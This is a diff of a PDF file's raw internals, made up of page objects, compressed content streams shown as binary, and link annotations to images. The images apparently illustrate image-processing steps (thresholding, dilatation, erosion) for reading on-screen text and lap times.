/Subtype /Link -/Rect [ 297.637795 321.736142 297.637795 309.332942 ] +/Rect [ 39.386457 250.245702 163.136457 223.245702 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ImageDecoding1.png) +/URI (./Images/Screens/ExempleTextRaw.png) >> >> endobj 634 0 obj << -/Filter /FlateDecode -/Length 3155 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 223.245702 297.637795 208.231302 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ExempleTextRaw.png) +>> >> -stream -x[͎$ S D%`0'98A==۾@((Q*UU.6xVD>~jw!D?G%??_>Z5aB!^ BJPh ?.}R*%.C^/?]Iן{yE.:> pIq 좑R LtJϗ??\%]ʇ_/*hT4Q?ǶݖƳXƵuǓ-m~a6;mivy"m0RY8QW&SHc­LIb<\c&βފX$ #;ْwp, 9KV:^JD0W1a)ĭג_ L0qÒu \ObЪ߉I Xcc^g߇Uxe=mf2fO<7hqlʵI=O 3#ێ_NZ';[l( -`qlj Z IA%B[&6$TGC13\P ,w;9 'qԧ#=Y6Yj(!fǚc%T%s$ 5{HCĆ#3]n%D9.9FKv_*@S DZtXvqڔa.}{eqۋlp#0H㒒 2: -BM<kg2y|4hqGX_2-B6]dfYia>}狕n֏UYܭGfl/GHDdMQ2b-Vފ"V{Jzh?Σ}ȃPX"tiQJk Dz+̈iZ+`f61+ >,wŞoj8i6]?G2L?ȇ}:aEV`mI=KiMIjb2>_԰AJqiØƭ(K_ʑ|S4R! -.{DEV\6?X{z9ф;4tA\iCYQF- {,}!:j%U+%`ԅ85TwZj,9u.Elv\Ӎ!x6RM8̖L Y )'SBJ%cΧX H5zsJߑ-v;%ԭ>E:"Ձ`#[yz$ǂp{I BV]v lcJ\z^N9L}/XyNX@"@)ǙsauuM3n ZŘ7_A悎b}ΚP5\?)u qm^J8:*E Eavgi½Gz\:h: -HZR[ͨHQA&Mq,Lz!4W5ҞZF'YF Nb I6QθY'=~AQ9;:j#C8"2!ISN1 ]\Wqw s$89(|T{3 فpa: Xs"4cCGY%[:0y˞9|C ecTysDR~,/oXR=-vNdI)<~/Mr@3PRug.:(ʽ37Unmrr~a$pwI)H)Z^/%n/fW -endstream endobj 635 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 634 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Filter /FlateDecode +/Length 1724 >> +stream +xYK6W5$C`(ze+!-CctZy734 ^O)JK+/zhB7#ÀTnj-Z~%ǠJ།+`//Fre&F ZdHk  Ez^yoןD~*2_xR(nX8zZ{vgfz.i޸6LYiI:iٛږwZ_֚̎UHgs[;Z=y2Tnt>9"/Һŋau +V40ٰ{GiɎ<1%'LYA5ƠV,|"ȍ;/>~ɮ]dxɜU͙;"6zy$3.OֽJϹ3a ;;ՓSA%Y*h]e'3tQxţ_ {)@3M,>, {JZBF_TH\O4>y6ɸ 3W#5yi3 +746?+5K':A +%ubLJ4+AFkMvm]t u8Baa vPIBc5:&@ꘀUTɮ9bD4{z( $+.&K-5jJ˰]_.6tx/ҡQP.)zPV1dlY 栁l)Y I_lI˫$OnFހWp#A %=fq\ͿYkVn;{{0r\H-q) P YαMpfxF6k +[Pi͑>ykQ+>\.ڻNik&8 HC8}Sq>rg~ ;e*'ݓ-<YlY]8#|ccҐr(6DUgl3r;V6A%q1»r@u\ T 4mJ;S%*? v$4{8JA"|C/ߢi@ +W|a e*pBH)+,j rG* \z {+G½|;MYW1,`҃@^jy'BbhtlKYsU Aq}ۿ ڠlz,T>psJTՉqF$ss9Zk2&T($lnnGGeF}C"oDPC*tt(8ErFG%YMDrn9p[C&\9\|95;Sk`♩WmIЌSNߎ ÷8""ɪ՗zq@Nlz:yt~Gh'39>ZvhHf\*dPC~_is々64dx.@r +BW+j9a& H7!E q\ it?\ \TAB-s +BF(TA5">?-vQ$vPY`7 ! +endstream endobj 636 0 obj << -/Filter /FlateDecode -/Length 3077 ->> -stream -x[[$~_u2@l&vyn`9R>fwnUtnΧ#< Z%9_?>⭠K#>_|ʻs4 Ax2,R -Q?_zBR*X]yNr"qߧ yCk:!m?L\@YnM/W$a1"_sI#!YdʼnՖQ+wsn 6=:ˉŮV-Z[)7=Rcv!}1^7z=U6KmXM%}Oe(S]r?ney^qR<.[g|y۵|~z^QZSX)uRPWs-nm4Pks!Y4(VzNfP~AXt^un^Lj_b>92}7Ө\; -})y).6[B]ol -Ǣ T/B]?Gr#=i˳ۤS>,8{ ;!Iة+cR.X }N8~ށwp:/VY;QKj}sݓ╿MA{.$&dـ ,7%"Ybvl{P'D6 gkiIΙ.Fd]$ohO)fK6fv%@Pt{_@ksD3j"1D'وyb NGHۤzMjPp4WSb'3(ڈ~KfȲ 6h0^ӭZvz->Emrm*iXAe}܂""FkޱłvXLJ( @@K/- 6xR^Xh,Q"=Y -@>r>G0uĭ'HQ%)ʬ(9OVFS}!kN,@ی?>D~e)91c:婎:Z*Kj`p<,?3fCN n6v ΐ(hX,#p[,-M؜fPBT!!5g*Ah?aKW1NzYs w{\3?)vA:N[҉ma lJVcH} %Zx1 ͒7\ob:{/IXJCdƤ^s#qA R&:(s ns!w8gG϶8/(¶x4 \t<0A.b5,΀qqu*@׶HXIz"B*LH.m4*H# 肱gӝ_$I: 䚂\A҅l/x0W7alDu F8 -Ʀ]}qa@EK| e n#0"n }T1I`pd7SGy!"=rč`MeHx/`x -n**a6ƚ -4lʕcŎ\ ΞAl҆5Lw2!S,{xs|Br⑞ XCk8s?-G5W븤|dS}:9^>W9ڣ^}Tkh/c}r1~ŐAC<8yоBNvp6Y{H{x8hI =l\XթFLAWPߟ,JǮy; ac -gA]s{ L451lDvFZp߱tQ9?Ϊ_<IBRKRLu:!@Qo AYZ}廳_ -.60mZDr;WVxCY~ &z3^jsqR.^`z 7&`N\3^Lu\pPE\O`6_7s0sn9 4Eɝ(PZude{$:` #1$]wJ-5,=+ߟ19q騌d; -PؠDMvxkF Z DU]hhwȐ#ZVLЌ7ᰱʆTy5DC;\\B!_q;^+XZOK񅸂 ꓸBZ~`#qR?1t+8bRīI/._ΉWpĒ ^+8CPds bLpaP4j%H,kE^wjKTsM3._7F*b 1O\D -B. %*(=E7M`)>p.ڔ\BIjSpr RHȢ ?זy -endstream -endobj -637 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 636 0 R +/Contents 635 0 R /Resources 4 0 R +/Annots [ 637 0 R 638 0 R 639 0 R 640 0 R 641 0 R 642 0 R 643 0 R 644 0 R 645 0 R 646 0 R 647 0 R 648 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +637 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 692.198022 39.386457 677.183622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ExempleTextINvertColor.png) +>> +>> +endobj 638 0 obj << -/Filter /FlateDecode -/Length 1641 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 692.198022 163.136457 665.198022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ExempleTextINvertColor.png) +>> >> -stream -xYɎ$5WvMH@B2*G4K/Tu蒧^^,A<>8"3҈Gzv -|x NA.\.ht J zG?_>^Fre֭ʐHAKРo_.RU"Vhmpxtyǟ~=RGyY.Rm8Sԇq*BX6n^XS͸X,S8ێI{UiQlګ047/gaٶ1e:7c`>#i?gs% ޓ[֒(L9NZ4 RWoUA3)1Ppyvν(7dh,eT#!+xH'`,#K;(@'YAj9F9΍I -b]F=l]հ$` q=I5y3=ePi<õdwn\e)fM2F@a" -H=r_[ble dvS.p$v/QK&YƓtc"051{CbWaݔi& )޲mL+1K,nUEŖ_76?7dm}J6[;uy]|hlOVPj9vTYx^Y >ig}mґ$^ ۖew@¨5QJl(w(r0}Œ]޹IJsgr|B] ycUDz=J&󮖽Tb|*S7"k9qD&*'R2=PX%,h%: -cK_33; |#Ԙ䴩S;&ONӣx^uhƦCjf47I^AC06!hGl^x/ݣae< A)a]A]wLM)5z$|mJ2$H?O #!X}ЖۻJ#d N#:CrNJQ/|QN rw ._)vOtpѪ KlsExJUU`phKWG# -GqT'gH*v+cNL`Uy -endstream endobj 639 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 638 0 R -/Resources 4 0 R -/Annots [ 640 0 R 641 0 R 642 0 R 643 0 R 644 0 R 645 0 R 646 0 R 647 0 R 648 0 R 649 0 R 650 0 R 651 0 R 652 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 665.198022 297.637795 650.183622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ExempleTextINvertColor.png) +>> >> endobj 640 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 750.868422 37.466457 738.465222 ] +/Rect [ 39.386457 567.604422 39.386457 552.590022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/11ZSD.png) +/URI (./Images/Screens/ExempleTextTresholding.png) >> >> endobj @@ -9698,14 +8680,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 750.868422 110.216457 723.868422 ] +/Rect [ 39.386457 567.604422 163.136457 540.604422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/11ZSD.png) +/URI (./Images/Screens/ExempleTextTresholding.png) >> >> endobj @@ -9713,14 +8695,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 723.868422 297.637795 711.465222 ] +/Rect [ 297.637795 540.604422 297.637795 525.590022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/11ZSD.png) +/URI (./Images/Screens/ExempleTextTresholding.png) >> >> endobj @@ -9728,14 +8710,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 655.650822 37.466457 643.247622 ] +/Rect [ 39.386457 427.996422 39.386457 412.982022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/42340.png) +/URI (./Images/Screens/ExempleTextResize.png) >> >> endobj @@ -9743,14 +8725,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 655.650822 102.716457 628.650822 ] +/Rect [ 39.386457 427.996422 286.886457 373.996422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/42340.png) +/URI (./Images/Screens/ExempleTextResize.png) >> >> endobj @@ -9758,14 +8740,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 628.650822 297.637795 616.247622 ] +/Rect [ 297.637795 373.996422 297.637795 358.982022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/42340.png) +/URI (./Images/Screens/ExempleTextResize.png) >> >> endobj @@ -9773,14 +8755,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 560.433222 37.466457 548.030022 ] +/Rect [ 39.386457 261.388422 39.386457 246.374022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ZZAEB.png) +/URI (./Images/Screens/ExempleTextDilatation.png) >> >> endobj @@ -9788,14 +8770,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 560.433222 110.216457 533.433222 ] +/Rect [ 39.386457 261.388422 286.886457 207.388422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ZZAEB.png) +/URI (./Images/Screens/ExempleTextDilatation.png) >> >> endobj @@ -9803,113 +8785,121 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 533.433222 297.637795 521.030022 ] +/Rect [ 297.637795 207.388422 297.637795 192.374022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ZZAEB.png) +/URI (./Images/Screens/ExempleTextDilatation.png) >> >> endobj 649 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 286.919622 37.466457 274.516422 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Clear44301.png) ->> +/Filter /FlateDecode +/Length 2356 >> +stream +x[[,5~_1#(+*CϬsI:T=xuwzIU}uG>?^ }pV/>8syCpP`Ǡ^pt3!TRh;~CλR2#&E0~|ZUE\A"0J$g^z?}W|sǟQ5t-Rd|=޿zO-kʺiԿv횶e?U {7UƼZo IT5IoʈjgE5XoX~(x})UwH!Y 8:6x2xrײ`!KppxbX=b7`X;ȘuM~70g{FYsm:́D8D[cނd%. P&\x賔BLE iwp)DObG]:G4H4\q^Q3Tr@뺼<3x/01u3(rG,5$zͺر67`8If@EDANRv,q +B giS&5 + mnY?;GI;iMqL:iPA$އ"e}KQ8%TEzF2#F3>uKVp5B(uH?S{Ml4:\m4RF !7 3$(Pi5Ǒq~z1CzИ֔kQ!7}.5m!PF#"1JfEw텿 {\g~.CoׇBC(„5CRty΄i!cW q½DW@B\8ZV)qApQgތ\N0:{&pa ;b`kUwyxht?<4036/"V{Ls~dgowObSvHDJ&ǃQ:b\#{#2."+#pWrcNH@#(wcwLh &әڣjĤD#OD69.D%d~w mHk) +HPVFݱGge|26tZ1 ˬEL9TM6сPB}-bq\fnנs\8:ۜO=]@ݺO-TzY]5][Ԥoj60)$ΤfXkf:KsZu, i* o?Q (\PʘgG=}: k4A sX SaK$BsTewbݖPm86mGTђP˹QMW'1's(QE/[v0y +p^۶ۗ{jeJ-۬犷 1Id1ykj? řr,Gå'-`?D~Lu&_T~l@A 7w%Nvh`+ķ+#b0G7_A DyxM6k3O\#k'J}(z$ +ͻj-%2i /xuhg6u!O޼Op>rqǔs";kUOK0#lɵ)UR)/]x]=x`Pڄ6$ì +>OI8#@D8Bwȣ6#}-0d + +endstream endobj 650 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 286.919622 298.466457 178.919622 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Clear44301.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 649 0 R +/Resources 4 0 R +/Annots [ 651 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 651 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 178.919622 297.637795 166.516422 ] +/Rect [ 39.386457 84.302502 39.386457 69.288102 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Clear44301.png) +/URI (./Images/Screens/ExempleLapTimeBefore.png) >> >> endobj 652 0 obj << +/Filter /FlateDecode +/Length 1705 +>> +stream +xYn6)H`C%@(zhC[d@GRXHpo~HI;U"NO/')IM~/'h A8 +B) 6#5FSLJi->CMӬwZP*~] URM(HQYO5zfSr#@lWL +@/:EPxkt|)^;4sy,juk4;aVhJFS& +U()BIF te_3>Y-^o9ki|00Xiu[㐞c]iC7~ ;>&wKֵ܏tlP6c`- XˍIT5~*+6PP9UFtΥ-FlTȒG2*ǧ& 7: 3NXjǹɆ ϐ9$0 w ⃞Av^gmc|{B oޖ6BO :G w-mpHycM! USb.A'o]CFER) Xބ)0! 'Ku-Lq\2rGwC^F3zqyyf󭊌 +QdQq_{ Ci VnY UEꑢX2`lUTk 5M{Hkb* C@aDX W(s +֎xvoh1-=j9악͑35;=4I:>DQ˙c&δYt4'͎bD[x.#CfIzqR;lczzl|p{ǒ,%y _ S>bSf@2IJz0sp6u˨q$= qJؠ%@,f3khC4guL%͝qa sD,7ۅ%BMzvo&9Qsy> +endobj +654 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 110.702022 37.466457 98.298822 ] +/Rect [ 39.386457 771.023622 115.136457 744.023622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ClearA5157.png) +/URI (./Images/Screens/ExempleLapTimeBefore.png) >> >> endobj -653 0 obj -<< -/Filter /FlateDecode -/Length 1124 ->> -stream -xWݮ6 S(J]t)a]'.v %K9MQmE$?~H :7? !wdO{HdEg\b' EA"ÎJr)K$#J0D8̀.}|<㿧Y -&Q -@~B6ۿ0 Gx=tɈ&2RkùU:)zRt5D ຳZ_~}i'F'}?F89@"mEE@w^A/C:)J|[UI P ЦU%W%^~lD΁5:6 fPes=4 2xYߓwTTEa([AOlc]eEy/c8IS詎lJy/ʜJZs#ɮFWld -lξp-v^#]%,:xK3~8ǸY$LKmUB|j!ʉo Y@Mšt6讲=.wg+,EOΒLlV^fkFce:&e4ˊeXgCHMA")e}VcAW_F6YLFWܪ+wMnjabw]}\Yazۏ]VV'&`L;πU&ܼ2Aǩ'w ӈʻE羏7oA H7o1yΣf s7o*YQį( -ʚw( Ն\V}z%M4lX /0qݬǫ[uWkCm}߿^OV=R']Q5O]~˱1wBٺ!{viY|k&$:V@H#xEOYn(g9,~ {C:'pzӃ~ .TP~x.; 6pWM?_|o -endstream -endobj -654 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 653 0 R -/Resources 4 0 R -/Annots [ 655 0 R 656 0 R 657 0 R 658 0 R 659 0 R 660 0 R 661 0 R 662 0 R 663 0 R 664 0 R 665 0 R 666 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj 655 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 328.466457 663.023622 ] +/Rect [ 297.637795 744.023622 297.637795 729.009222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ClearA5157.png) +/URI (./Images/Screens/ExempleLapTimeBefore.png) >> >> endobj @@ -9917,14 +8907,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 663.023622 297.637795 650.620422 ] +/Rect [ 39.386457 631.415622 39.386457 616.401222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ClearA5157.png) +/URI (./Images/Screens/ExempleLapTimeBeforeUpscaled.png) >> >> endobj @@ -9932,14 +8922,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 428.913222 37.466457 416.510022 ] +/Rect [ 39.386457 631.415622 555.889134 447.315658 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BeforeProcessing1.png) +/URI (./Images/Screens/ExempleLapTimeBeforeUpscaled.png) >> >> endobj @@ -9947,14 +8937,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 428.913222 113.216457 401.913222 ] +/Rect [ 297.637795 447.315658 297.637795 432.301258 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BeforeProcessing1.png) +/URI (./Images/Screens/ExempleLapTimeBeforeUpscaled.png) >> >> endobj @@ -9962,14 +8952,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 401.913222 297.637795 389.510022 ] +/Rect [ 39.386457 186.440458 39.386457 171.426058 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BeforeProcessing1.png) +/URI (./Images/Screens/ExempleLapTimeTreshold.png) >> >> endobj @@ -9977,14 +8967,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 353.850822 37.466457 341.447622 ] +/Rect [ 39.386457 186.440458 115.136457 159.440458 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/GrayScale.png) +/URI (./Images/Screens/ExempleLapTimeTreshold.png) >> >> endobj @@ -9992,59 +8982,55 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 353.850822 113.216457 326.850822 ] +/Rect [ 297.637795 159.440458 297.637795 144.426058 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/GrayScale.png) +/URI (./Images/Screens/ExempleLapTimeTreshold.png) >> >> endobj 662 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 326.850822 297.637795 314.447622 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/GrayScale.png) ->> +/Filter /FlateDecode +/Length 1945 >> +stream +xZ͎6)a8$?bECK-ZAҮ"J$5(nWD |C:Iw@}pt˗%#6'rN.a:^Hu__.^]Iz#.{eka#A=] bQE#^x1_~>tSє@3]Rx4FJLs_ӇUAH*J8E$9WHlސ6n#/^:MI:czQ^7tIc^ch0'OrYKoQY)=s7YF(r&] MDjC!U Sa;H!9r\ sXPqNd=͑+ܫݣs>m1, c21PSk 3dLwPcWGd6O7bQ:AcAs*cڢ0t͡3XQ.]}gr#-t?1NzqYv=+Se琷,-PA;ԝ(,B&nN 32c BX6Fy@Dec,d/[HmC W!5)'%LCB1^& wB / +@NG}[{@cUXn]G#來E6GKR,:)w͒;);$)Vj2=| f$"Y^òBzuJwL,0,ܸ;nڬAtB; ) pT| W~`B9Zv\5VK+b W^8/uvHa+TBB@aA| ,Vq# jJa +bF:pZd|E{? +endstream endobj 663 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 278.788422 37.466457 266.385222 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/InvertColor.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 662 0 R +/Resources 4 0 R +/Annots [ 664 0 R 665 0 R 666 0 R 667 0 R 668 0 R 669 0 R 670 0 R 671 0 R 672 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 664 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 278.788422 113.216457 251.788422 ] +/Rect [ 39.386457 716.596422 39.386457 701.582022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/InvertColor.png) +/URI (./Images/Screens/ExempleLapTimeResize.png) >> >> endobj @@ -10052,14 +9038,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 251.788422 297.637795 239.385222 ] +/Rect [ 39.386457 716.596422 190.886457 662.596422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/InvertColor.png) +/URI (./Images/Screens/ExempleLapTimeResize.png) >> >> endobj @@ -10067,60 +9053,59 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 183.570822 37.466457 171.167622 ] +/Rect [ 297.637795 662.596422 297.637795 647.582022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Scaling.png) +/URI (./Images/Screens/ExempleLapTimeResize.png) >> >> endobj 667 0 obj << -/Filter /FlateDecode -/Length 1760 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 565.002822 39.386457 549.988422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ExempleLapTimeDilatation.png) +>> >> -stream -xXK6WC6@Rl@у-GAEtHCY9Ph|3$ /~2ɹ`M ->uE>~CǃO&R -rd`IM@m>=rM648g^߇ͬ/S†)ZQ@U|^?<_ǩLedm;OS뿪D%֐"$W-ӗhr5O}}>[Ƿf!?ߴqʳMqHrCgyMlR袅!;7M@BX =&gb?ϐםC?༣D"E%W*nn|Y5)D]^[u]%kfÙ)1wG::zCḎr+ͨ8ۄФ,2'ҳtX;!utҝR))ck\hr]e7o{lֈ,L܅Y:ɢ\9P [g5.ՆvC!ΑRO**x\Okh>A%;hTK.U6qn2nX\-)J?n^8+62iX:f^byUɸk!)y#6Y9_@Hy-PB$U0RV 3U'PQWqs0|xƍїOޒn7`TT j\FIWI_DjA3E"VBEoA ]KE&H:'L?@|Zw&ɠ*7_EU]$DɤNڂ eE9xMr]%Zȕû nԵ5Ĺ)ߔZA;R5݃-w7>v]&ED8ʚ<_IݮC -/ew -p7̴n.pӓouCrt鼾: ~j\8Ip|148F<3?ӤӦ:b)Mz\T2FCS1ouUяʿπ GkGĮK$Hh꼩%qiǘOH0Km[/ƵJ^Uط͠VX> 6^ e{ӊ%ZpH}x@ ɤvF -F vM( khӼS<&lqmg恒Ж -Klwu%=dIZ]FokE|5pRZ!ibԱHEkli03 -J0> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ExempleLapTimeDilatation.png) +>> >> endobj 669 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 340.466457 663.023622 ] +/Rect [ 297.637795 511.002822 297.637795 495.988422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Scaling.png) +/URI (./Images/Screens/ExempleLapTimeDilatation.png) >> >> endobj @@ -10128,14 +9113,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 663.023622 297.637795 650.620422 ] +/Rect [ 39.386457 368.366022 39.386457 353.351622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Scaling.png) +/URI (./Images/Screens/ExempleLapTimeErode.png) >> >> endobj @@ -10143,14 +9128,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 594.806022 37.466457 582.402822 ] +/Rect [ 39.386457 368.366022 190.886457 314.366022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Dilatation.png) +/URI (./Images/Screens/ExempleLapTimeErode.png) >> >> endobj @@ -10158,59 +9143,59 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 594.806022 340.466457 486.806022 ] +/Rect [ 297.637795 314.366022 297.637795 299.351622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Dilatation.png) +/URI (./Images/Screens/ExempleLapTimeErode.png) >> >> endobj 673 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 486.806022 297.637795 474.402822 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Dilatation.png) ->> +/Filter /FlateDecode +/Length 1669 >> +stream +xY[$5~_`{EEVAVsqVK%ՙ9ef3}:IU}#O0R36]Q̡P6O{x(sf[̥c?'y,W>gsZI<7V˴^B *{c*[E UAA4ľq@u.KS$Ȕq\F&Kڔ9=[X!8@lZL@>eeM<_gCT E>v@Z ǀ̋)ºu%DuUJh<σ"9ZJ]bur^(YAF6+j&)/,Mƺ)iAWn,5' hb]I]' |d\Q,ҽ((|{k1oDTVY矱<|Y%I@ƽ]A[YfsZcΫk/AɇlNk#ҭ ح̀77)c=Bx~Jz>vɍ +AhlBs Zϋl]Vsyʮ/~?1> -/A << -/Type /Action -/S /URI -/URI (./Images/Screen/../Screens/Clean.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 673 0 R +/Resources 4 0 R +/Annots [ 675 0 R 676 0 R 677 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 675 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 293.006022 188.966457 239.006022 ] +/Rect [ 39.386457 310.644582 39.386457 295.630182 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screen/../Screens/Clean.png) +/URI (./Images/Photos/Tyres.png) >> >> endobj @@ -10218,96 +9203,85 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 239.006022 297.637795 226.602822 ] +/Rect [ 39.386457 310.644582 555.889134 142.265551 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screen/../Screens/Clean.png) +/URI (./Images/Photos/Tyres.png) >> >> endobj 677 0 obj << -/Filter /FlateDecode -/Length 2775 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 142.265551 297.637795 127.251151 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/Tyres.png) +>> >> -stream -x[ݏ_=$`h&Mi>H\^IC.;+4@|7;oH:JZ*Bo׏R/?oD6TJImhp _~:_~::+!?-C?`}GuuǏEtYFАJn0PL"|'cJUVJ}aFU /]E3p3Y -T.Kk#1}@cvrw34tnjM;w\ÌfW=.k^V(RV?((\rP ]fū827+v^;~l;Ig匢{FI\nrݘ"x}܉>?Ol|b**x1(>H Rb\y.Y>^{pnF@eoDi^6™ ,NA2c*uB_B1TGoXe -\m ejY`(Gɾ>9! F|=ޙtGuIXU*%7cf)㲰rSgU£n4H~G٫k -ƍ5O1C[&X=2Oּ9OjLT3N誾3.gKF@Wno=z8ĭ&2٠1 - gmPGB䨥 -7=7,q]iVd6k&Q}FV,4FPxi -Yzh-{{ 5R&o);[e_+r#[@A^:X^v}xS҂%k2B S/OE}&zJ*+gZz=8%,,m+I&vul8N]0Kc cݳ3JὍQwBnۋ-kY^ -x8wu ܠC]hL! Vi,"|/#Kh t%dFߴx^t}-ԯ̭(C:SW`Ah:?a`Z7gn@ك|?_Z]f`m3;_jâ=A8 -Py -t೬ZfO_lzC JҦR SMby =B7OrƆVg/@x[3 օo9 ?uk'3bj-ށL\lRHjCO :aг;yabo;h"qp/摓&F'_:T,_Gq]7Ngg07_|fU?m`9/@#Fg0 -`6 t&jb `;0Dg#FiP|#s0 "õ"cl*r:SP[(nr,@`? ~ux(IyʟWn]:ìpʯ.[> rHp0w(pq -ñ,<&s&HNuҲa.lJ>r)~q8qXyQ#0grθ gI6O돃e5X75k &$bx  Ao5/x%o8g"2^T<1cZDr_S\pAHbqBieN ś'Q_=WN 9)*: 